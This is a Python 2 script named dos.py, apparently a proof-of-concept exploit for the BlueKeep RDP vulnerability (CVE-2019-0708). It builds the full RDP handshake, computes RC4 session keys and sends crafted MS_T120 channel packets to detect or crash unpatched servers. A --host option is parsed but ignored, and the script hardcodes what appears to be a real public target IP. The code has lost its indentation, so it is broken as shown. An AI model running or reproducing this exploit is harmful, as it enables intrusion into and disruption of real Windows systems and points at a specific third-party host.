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dos.py
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dos.py
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import sys
import struct
import socket
import hashlib
from Crypto.Cipher import ARC4
import binascii
import time
import argparse
R = '\033[91m' # red
W = '\033[0m' # white
def parser_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
print(R + "Error: " + errmsg + W)
sys.exit()
def parse_args():
parser = argparse.ArgumentParser(epilog='\tExample: \r\npython ' + sys.argv[0] + " [options]")
parser.error = parser_error
parser._optionals.title = "OPTIONS"
parser.add_argument('--host', help="target ip to scan for CVE-2019-0708 - BlueKeep")
return parser.parse_args()
def error_msg(msg):
print(R + "Error: " + msg + W)
sys.exit()
def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
return ''.join(lines)
def check_rdp_vuln(username):
x_224_conn_req = "\x03\x00\x00" + "{0}" # TPKT Header
x_224_conn_req+= chr(33+len(username)) # X.224: Length indicator
x_224_conn_req+= "\xe0" # X.224: Type - TPDU
x_224_conn_req+= "\x00\x00" # X.224: Destination reference
x_224_conn_req+= "\x00\x00" # X.224: Source reference
x_224_conn_req+= "\x00" # X.224: Class and options
x_224_conn_req+= "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" # "Cookie: mstshash=
x_224_conn_req+= username # coookie value
x_224_conn_req+= "\x0d\x0a" # Cookie terminator sequence
x_224_conn_req+= "\x01" # Type: RDP_NEG_REQ)
x_224_conn_req+= "\x00" # RDP_NEG_REQ::flags
x_224_conn_req+= "\x08\x00" # RDP_NEG_REQ::length (8 bytes)
x_224_conn_req+= "\x00\x00\x00\x00" # Requested protocols (PROTOCOL_RDP)
return x_224_conn_req
def pdu_connect_initial(hostname):
host_name = ""
for i in hostname:
host_name+=struct.pack("<h",ord(i))
host_name+= "\x00"*(32-len(host_name))
mcs_gcc_request = ("\x03\x00\x01\xca" # TPKT Header
"\x02\xf0\x80" # x.224
"\x7f\x65\x82\x01\xbe" # change here
"\x04\x01\x01\x04"
"\x01\x01\x01\x01\xff"
"\x30\x20\x02\x02\x00\x22\x02\x02\x00\x02\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\xff\xff\x02\x02\x00\x02\x30\x20"
"\x02\x02\x00\x01\x02\x02\x00\x01\x02\x02\x00\x01\x02\x02\x00\x01\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\x04\x20\x02\x02\x00\x02\x30\x20\x02\x02"
"\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x02\x00\x01\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\xff\xff\x02\x02\x00\x02\x04\x82\x01\x4b" # chnage here
"\x00\x05\x00\x14\x7c\x00\x01\x81\x42" # change here - ConnectPDU
"\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34" # chnage here
"\x01\xc0\xd8\x00\x04\x00\x08\x00\x20\x03\x58\x02\x01\xca\x03\xaa\x09\x04\x00\x00\x28\x0a\x00\x00")
mcs_gcc_request+= host_name # Client name -32 Bytes - we45-lt35
mcs_gcc_request+=(
"\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x09\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x03\x00\x00\x00\x00\x00\x00\x00"
"\x03\xc0"
"\x44\x00"
"\x04\x00\x00\x00" #channel count
"\x63\x6c\x69\x70\x72\x64\x72\x00\xc0\xa0\x00\x00" #cliprdr
"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00" #MS_T120
"\x72\x64\x70\x73\x6e\x64\x00\x00\xc0\x00\x00\x00" #rdpsnd
"\x73\x6e\x64\x64\x62\x67\x00\x00\xc0\x00\x00\x00" #snddbg
"\x72\x64\x70\x64\x72\x00\x00\x00\x80\x80\x00\x00" #rdpdr
)
return mcs_gcc_request
def hex_str_conv(hex_str):
hex_res = ""
for i in bytearray(hex_str):
hex_res+="\\x"
hex_res+="%02x"%i
return hex_res
def bin_to_hex(s):
return s.encode("hex")
def bytes_to_bignum(bytesIn, order = "little"):
if order == "little":
bytesIn = bytesIn[::-1]
bytes = bin_to_hex(bytesIn)
s = "0x"+bytes
return int(s,16)
def int_to_bytestring(daInt):
hex_pkt = "%x"%daInt
return binascii.unhexlify(hex_pkt)[::-1]
def rsa_encrypt(bignum, rsexp, rsmod):
return (bignum ** rsexp) % rsmod
def rdp_rc4_crypt(rc4obj, data):
return rc4obj.encrypt(data)
def rdp_parse_serverdata(pkt):
ptr = 0
rdp_pkt = pkt[0x49:]
while ptr < len(rdp_pkt):
header_type = rdp_pkt[ptr:ptr+2]
header_length = struct.unpack("<h",rdp_pkt[ptr+2:ptr+4])[0]
print("- Header: {} Len: {}".format(bin_to_hex(header_type),header_length))
if header_type == "\x02\x0c":
print("- Security Header")
# print("Header Length: {}".format(header_length))
server_random = rdp_pkt[ptr+20:ptr+52]
public_exponent = rdp_pkt[ptr+84:ptr+88]
modulus = rdp_pkt[ptr+88:ptr+152]
print("- modulus_old: {}".format(bin_to_hex(modulus)))
rsa_magic = rdp_pkt[ptr+68:ptr+72]
if rsa_magic != "RSA1":
print("Server cert isn't RSA, this scenario isn't supported (yet).")
# sys.exit(1)
print("- RSA magic: {}".format(rsa_magic))
bitlen = struct.unpack("<L",rdp_pkt[ptr+72:ptr+76])[0] - 8
print("- RSA bitlen: {}".format(bitlen))
modulus = rdp_pkt[ptr+88:ptr+87+1+bitlen]
print("- modulus_new: {}".format(bin_to_hex(modulus)))
ptr += header_length
print("- SERVER_MODULUS: {}".format(bin_to_hex(modulus)))
print("- SERVER_EXPONENT: {}".format(bin_to_hex(public_exponent)))
print("- SERVER_RANDOM: {}".format(bin_to_hex(server_random)))
rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)
return rsmod, rsexp, rsran, server_random, bitlen
def pdu_channel_request(userid,channel):
join_req = "\x03\x00\x00\x0c\x02\xf0\x80\x38"
join_req+= struct.pack(">hh",userid,channel)
return join_req
def mcs_erect_domain_pdu():
mcs_erect_domain_pdu = "\x03\x00\x00\x0c\x02\xf0\x80\x04\x00\x01\x00\x01"
return mcs_erect_domain_pdu
def msc_attach_user_pdu():
msc_attach_user_pdu = "\x03\x00\x00\x08\x02\xf0\x80\x28"
return msc_attach_user_pdu
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen):
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)
bitlen += 8
bitlen_hex = struct.pack("<L",bitlen)
print("Encrypted client random: {}".format(bin_to_hex(encrypted_rcran)))
userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high
pkt = "\x03\x00"
pkt+=struct.pack(">h",userdata_length+15) # TPKT
pkt+="\x02\xf0\x80" # X.224
pkt+="\x64" # sendDataRequest
pkt+="\x00\x08" # intiator userId
pkt+="\x03\xeb" # channelId = 1003
pkt+="\x70" # dataPriority
pkt+=struct.pack("h",flags)[0]
pkt+=struct.pack("h",userdata_length_low)[0] # UserData length
pkt+="\x01\x00" # securityHeader flags
pkt+="\x00\x00" # securityHeader flagsHi
pkt+= bitlen_hex # securityPkt length
pkt+= encrypted_rcran # 64 bytes encrypted client random
pkt+= "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)
return pkt
def rdp_salted_hash(s_bytes, i_bytes, clientRandom_bytes, serverRandom_bytes):
hash_sha1 = hashlib.new("sha1")
hash_sha1.update(i_bytes)
hash_sha1.update(s_bytes)
hash_sha1.update(clientRandom_bytes)
hash_sha1.update(serverRandom_bytes)
hash_md5=hashlib.md5()
hash_md5.update(s_bytes)
hash_md5.update(binascii.unhexlify(hash_sha1.hexdigest()))
return binascii.unhexlify(hash_md5.hexdigest())
def rdp_final_hash(k, clientRandom_bytes, serverRandom_bytes):
md5 = hashlib.md5()
md5.update(k)
md5.update(clientRandom_bytes)
md5.update(serverRandom_bytes)
return binascii.unhexlify(md5.hexdigest())
def rdp_hmac(mac_salt_key, data_content):
sha1 = hashlib.sha1()
md5 = hashlib.md5()
pad1 = "\x36" * 40
pad2 = "\x5c" * 48
sha1.update(mac_salt_key)
sha1.update(pad1)
sha1.update(struct.pack('<L',len(data_content)))
sha1.update(data_content)
md5.update(mac_salt_key)
md5.update(pad2)
md5.update(binascii.unhexlify(sha1.hexdigest()))
return binascii.unhexlify(md5.hexdigest())
def rdp_calculate_rc4_keys(client_random, server_random):
preMasterSecret = client_random[0:24] + server_random[0:24]
masterSecret = rdp_salted_hash(preMasterSecret,"A",client_random,server_random) + rdp_salted_hash(preMasterSecret,"BB",client_random,server_random) + rdp_salted_hash(preMasterSecret,"CCC",client_random,server_random)
sessionKeyBlob = rdp_salted_hash(masterSecret,"X",client_random,server_random) + rdp_salted_hash(masterSecret,"YY",client_random,server_random) + rdp_salted_hash(masterSecret,"ZZZ",client_random,server_random)
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16:32], client_random, server_random)
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32:48], client_random, server_random)
macKey = sessionKeyBlob[0:16]
print("PreMasterSecret = {}".format(bin_to_hex(preMasterSecret)))
print("MasterSecret = {}".format(bin_to_hex(masterSecret)))
print("sessionKeyBlob = {}".format(bin_to_hex(sessionKeyBlob)))
print("macKey = {}".format(bin_to_hex(macKey)))
print("initialClientDecryptKey128 = {}".format(bin_to_hex(initialClientDecryptKey128)))
print("initialClientEncryptKey128 = {}".format(bin_to_hex(initialClientEncryptKey128)))
return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
def pdu_client_info():
data = "000000003301000000000a000000000000000000"
data+="75007300650072003000" # FIXME: username
data+="000000000000000002001c00"
data+="3100390032002e003100360038002e0031002e00320030003800" # FIXME: ip
data+="00003c0043003a005c00570049004e004e0054005c00530079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c000000a40100004700540042002c0020006e006f0072006d0061006c0074006900640000000000000000000000000000000000000000000000000000000000000000000000000000000a00000005000300000000000000000000004700540042002c00200073006f006d006d006100720074006900640000000000000000000000000000000000000000000000000000000000000000000000000000000300000005000200000000000000c4ffffff00000000270000000000"
return binascii.unhexlify(data)
def pdu_client_confirm_active():
data = "a4011300f103ea030100ea0306008e014d53545343000e00000001001800010003000002000000000d04000000000000000002001c00100001000100010020035802000001000100000001000000030058000000000000000000000000000000000000000000010014000000010047012a000101010100000000010101010001010000000000010101000001010100000000a1060000000000000084030000000000e40400001300280000000003780000007800000050010000000000000000000000000000000000000000000008000a000100140014000a0008000600000007000c00000000000000000005000c00000000000200020009000800000000000f000800010000000d005800010000000904000004000000000000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe004000fe008000fe000001400000080001000102000000"
return binascii.unhexlify(data)
def pdu_client_persistent_key_list():
data = "49031700f103ea03010000013b031c00000001000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
return binascii.unhexlify(data)
def rdp_encrypted_pkt(data, rc4enckey, hmackey, flags = "\x08\x00", flagsHi = "\x00\x00", channelId="\x03\xeb"):
userData_len = len(data) + 12
udl_with_flag = 0x8000 | userData_len
pkt = "\x02\xf0\x80" # X.224
pkt+= "\x64" # sendDataRequest
pkt+= "\x00\x08" # intiator userId .. TODO: for a functional client this isn't static
pkt+= channelId # channelId = 1003
pkt+= "\x70" # dataPriority
pkt+= binascii.unhexlify("%x"%udl_with_flag)
pkt+= flags #{}"\x48\x00" # flags SEC_INFO_PKT | SEC_ENCRYPT
pkt+= flagsHi # flagsHi
pkt+= rdp_hmac(hmackey, data)[0:8]
pkt+= rdp_rc4_crypt(rc4enckey, data)
tpkt = "\x03\x00"
tpkt+=struct.pack(">h",len(pkt) + 4)
tpkt+=pkt
return tpkt
def try_check(s,rc4enckey, hmackey):
for i in range(0,6):
res = s.recv(1024)
for i in range(0,6):
pkt = rdp_encrypted_pkt(binascii.unhexlify("100000000300000000000000020000000000000000000000"), rc4enckey, hmackey, "\x08\x00", "\x00\x00", "\x03\xed")
s.sendall(pkt)
pkt = rdp_encrypted_pkt(binascii.unhexlify("20000000030000000000000000000000020000000000000000000000000000000000000000000000"), rc4enckey, hmackey, "\x08\x00", "\x00\x00", "\x03\xed")
s.sendall(pkt)
for i in range(0,4):
res = s.recv(1024)
if binascii.unhexlify("0300000902f0802180") in res:
print("[+] Found MCS Disconnect Provider Ultimatum PDU Packet")
print("[+] Vulnerable....Vulnerable.... Vulnerable")
print("[+] HexDump: MCS Disconnect Provider Ultimatum PDU")
print hexdump(res)
def exploit(host,port,hostname,username):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print("[+] Verifying RDP Portocol....")
x_224_conn_req = check_rdp_vuln(username)
s.sendall(x_224_conn_req.format(chr(33+len(username)+5)))
s.recv(8192)
print "[+] PDU X.224 Response Received."
print "[+] Sending MCS Connect Initial PDU with GCC Conference."
s.sendall(pdu_connect_initial(hostname))
res = s.recv(10000)
print "[+] MCS Response PDU with GCC Conference Received."
rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_serverdata(res)
print "[+] Sending MCS Erect Request."
s.sendall(mcs_erect_domain_pdu())
print "[+] Sending MCS Attach User PDU Request."
s.sendall(msc_attach_user_pdu())
res = s.recv(8192)
mcs_packet = bytearray(res)
user1= mcs_packet[9] + mcs_packet[10]
print("[+] Send PDU Request for 7 channel with AttachUserConfirm::initiator: {}".format(user1))
s.sendall(pdu_channel_request(user1, 1009))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1003))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1004))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1005))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1006))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1007))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1008))
s.recv(8192)
client_rand = "\x41" * 32
rcran = bytes_to_bignum(client_rand)
print("[+] Sending security exchange PDU")
s.sendall(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)
print("- RC4_ENC_KEY: {}".format(bin_to_hex(rc4encstart)))
print("- RC4_DEC_KEY: {}".format(bin_to_hex(rc4decstart)))
print("- HMAC_KEY: {}".format(bin_to_hex(hmackey)))
print("- SESS_BLOB: {}".format(bin_to_hex(sessblob)))
rc4enckey = ARC4.new(rc4encstart)
print("[+] Sending encrypted client info PDU")
s.sendall(rdp_encrypted_pkt(pdu_client_info(), rc4enckey, hmackey, "\x48\x00"))
res = s.recv(8192)
print("[+] Received License packet: {}".format(bin_to_hex(res)))
res = s.recv(8192)
print("[+] Received Server Demand packet: {}".format(bin_to_hex(res)))
print("[+] Sending client confirm active PDU")
s.sendall(rdp_encrypted_pkt(pdu_client_confirm_active(), rc4enckey, hmackey, "\x38\x00"))
print("[+] Sending client synchronize PDU")
print("[+] Sending client control cooperate PDU")
synch = rdp_encrypted_pkt(binascii.unhexlify("16001700f103ea030100000108001f0000000100ea03"), rc4enckey, hmackey)
coop = rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00140000000400000000000000"), rc4enckey, hmackey)
s.sendall(synch + coop)
print("[+] Sending client control request control PDU")
s.sendall(rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00140000000100000000000000"), rc4enckey, hmackey))
print("[+] Sending client persistent key list PDU")
s.sendall(rdp_encrypted_pkt(pdu_client_persistent_key_list(), rc4enckey, hmackey))
print("[+] Sending client font list PDU")
s.sendall(rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00270000000000000003003200"), rc4enckey, hmackey))
result = try_check(s,rc4enckey, hmackey)
if __name__ == "__main__":
args = parse_args()
host = "103.253.72.5"
port=3389
hostname="lol"
username="non"
exploit(host,port,hostname,username)